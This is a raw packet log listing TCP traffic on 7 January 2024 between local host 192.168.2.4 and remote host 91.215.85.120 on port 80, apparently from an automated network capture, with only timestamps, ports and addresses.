Jan 7, 2024 05:29:22.048275948 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:22.048321009 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:22.048372984 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:22.048413038 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:22.048455000 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:22.048520088 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:22.048567057 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:22.048597097 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:22.048635960 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:22.048765898 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:22.048803091 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:22.048858881 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:22.048898935 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:22.048916101 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:22.048929930 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:22.048960924 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:22.048978090 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:22.049030066 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:22.049129009 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:22.049166918 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:22.049233913 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:22.049276114 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:22.049328089 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:22.049364090 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:22.049400091 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:22.049438000 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:22.049472094 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:22.049511909 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:22.049577951 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:22.049623013 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:22.049654961 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:22.049693108 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:22.049761057 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:22.049801111 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:22.049845934 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:22.049885988 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:22.049942017 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:22.049979925 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:22.050029039 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:22.050077915 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:22.050086975 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:22.050132036 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:22.050256968 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:22.050306082 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:22.050355911 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:22.050396919 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:22.050451994 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:22.050496101 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:22.050569057 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:22.050607920 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:22.050909042 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:22.050955057 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:22.051456928 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:22.051495075 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:22.051502943 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:22.051516056 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:22.051531076 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:22.051541090 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:22.051543951 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:22.051557064 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:22.051558018 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:22.051572084 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:22.051573992 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:22.051585913 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:22.051585913 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:22.051611900 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:22.051635027 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:22.051708937 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:22.051752090 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:22.051801920 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:22.051839113 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:22.051872969 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:22.051887035 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:22.051912069 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:22.051933050 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:22.051984072 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:22.052037001 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:22.052082062 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:22.052118063 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:22.052165985 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:22.052324057 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:22.052371025 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:22.052418947 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:22.052458048 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:22.052520037 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:22.052556992 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:22.052634001 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:22.052674055 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:22.052782059 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:22.052820921 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:22.052881956 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:22.052920103 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:22.052969933 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:22.053009987 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:22.053045988 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:22.053088903 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:22.053148985 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:22.053198099 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:22.053231001 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:22.053270102 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:22.227993965 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:22.228091002 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:22.228182077 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:22.228888988 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:22.228961945 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:22.228972912 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:22.229007006 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:22.229033947 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:22.229198933 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:22.229248047 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:22.229429007 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:22.229515076 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:22.229556084 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:22.229620934 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:22.229655981 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:22.229727983 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:22.229768991 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:22.230945110 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:22.230992079 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:22.231062889 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:22.231116056 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:22.231153965 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:22.231201887 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:22.231286049 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:22.231326103 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:22.231328964 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:22.231378078 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:22.231424093 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:22.231467962 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:22.231503010 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:22.231560946 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:22.231570959 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:22.231616020 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:22.231668949 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:22.231713057 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:22.231744051 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:22.231789112 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:22.231890917 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:22.231960058 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:22.232234955 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:22.232295036 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:22.232496977 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:22.232542038 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:22.232610941 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:22.232659101 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:22.232677937 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:22.232714891 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:22.233201027 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:22.233239889 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:22.233248949 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:22.233288050 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:22.233319044 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:22.233359098 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:22.233536959 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:22.233588934 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:22.233608007 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:22.233652115 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:22.233653069 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:22.233690977 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:22.234173059 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:22.234219074 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:22.234292030 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:22.234342098 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:22.234375954 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:22.234421015 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:22.234504938 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:22.234549046 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:22.234709978 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:22.234726906 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:22.234754086 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:22.234781981 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:22.234795094 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:22.234841108 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:22.234886885 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:22.235131979 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:22.235166073 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:22.235183001 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:22.235429049 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:22.235557079 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:22.235599995 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:22.235609055 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:22.235706091 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:22.235759020 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:22.235837936 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:22.235850096 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:22.236073017 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:22.236190081 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:22.236238956 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:22.236371994 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:22.236418962 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:22.236675978 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:22.236722946 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:22.236735106 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:22.236773968 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:22.236907005 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:22.236952066 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:22.236980915 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:22.237025023 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:22.237097979 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:22.237142086 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:22.237155914 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:22.237194061 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:22.237297058 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:22.237309933 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:22.237339973 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:22.237355947 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:22.237402916 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:22.237773895 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:22.237814903 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:22.238145113 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:22.238192081 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:22.238317966 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:22.238362074 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:22.238445044 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:22.238483906 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:22.238658905 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:22.238704920 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:22.238879919 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:22.238955975 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:22.239011049 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:22.239064932 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:22.239121914 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:22.239171028 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:22.239197969 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:22.239240885 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:22.239309072 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:22.239353895 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:22.239408016 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:22.239449978 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:22.239521027 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:22.239563942 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:22.239592075 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:22.239629030 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:22.239702940 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:22.239742994 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:22.239783049 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:22.239824057 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:22.239829063 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:22.239861012 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:22.239906073 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:22.239949942 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:22.239973068 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:22.240015030 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:22.240081072 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:22.240125895 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:22.240133047 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:22.240170956 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:22.240200043 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:22.240242004 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:22.240462065 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:22.240513086 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:22.240567923 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:22.240624905 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:22.240649939 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:22.240689993 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:22.240778923 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:22.240819931 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:22.240905046 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:22.240942001 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:22.241125107 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:22.241164923 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:22.241200924 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:22.241236925 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:22.241600037 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:22.241693974 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:22.241736889 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:22.241765022 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:22.241805077 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:22.241877079 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:22.241925955 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:22.242007017 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:22.242073059 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:22.242089033 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:22.242127895 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:22.242147923 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:22.242187977 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:22.242511988 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:22.242553949 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:22.242597103 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:22.242641926 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:22.242697954 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:22.242739916 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:22.242749929 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:22.242798090 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:22.242825031 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:22.242881060 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:22.242896080 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:22.242953062 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:22.242971897 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:22.243015051 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:22.243046045 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:22.243089914 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:22.243093967 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:22.243141890 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:22.243165016 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:22.243221998 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:22.243300915 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:22.243345976 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:22.243371010 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:22.243412018 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:22.243522882 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:22.243566036 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:22.243706942 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:22.243751049 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:22.243827105 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:22.243871927 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:22.243936062 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:22.243978024 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:22.244014025 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:22.244052887 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:22.244119883 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:22.244163036 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:22.244189024 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:22.244224072 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:22.244282007 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:22.244321108 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:22.244323969 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:22.244369030 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:22.244427919 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:22.244466066 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:22.244529009 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:22.244570017 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:22.244610071 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:22.244647026 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:22.244683981 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:22.244728088 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:22.244761944 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:22.244800091 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:22.244827986 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:22.244873047 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:22.244893074 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:22.244931936 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:22.245055914 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:22.245105982 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:22.245105982 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:22.245143890 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:22.245374918 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:22.245770931 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:22.245815039 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:22.245829105 CET	80	49735	91.215.85.120	192.168.2.4
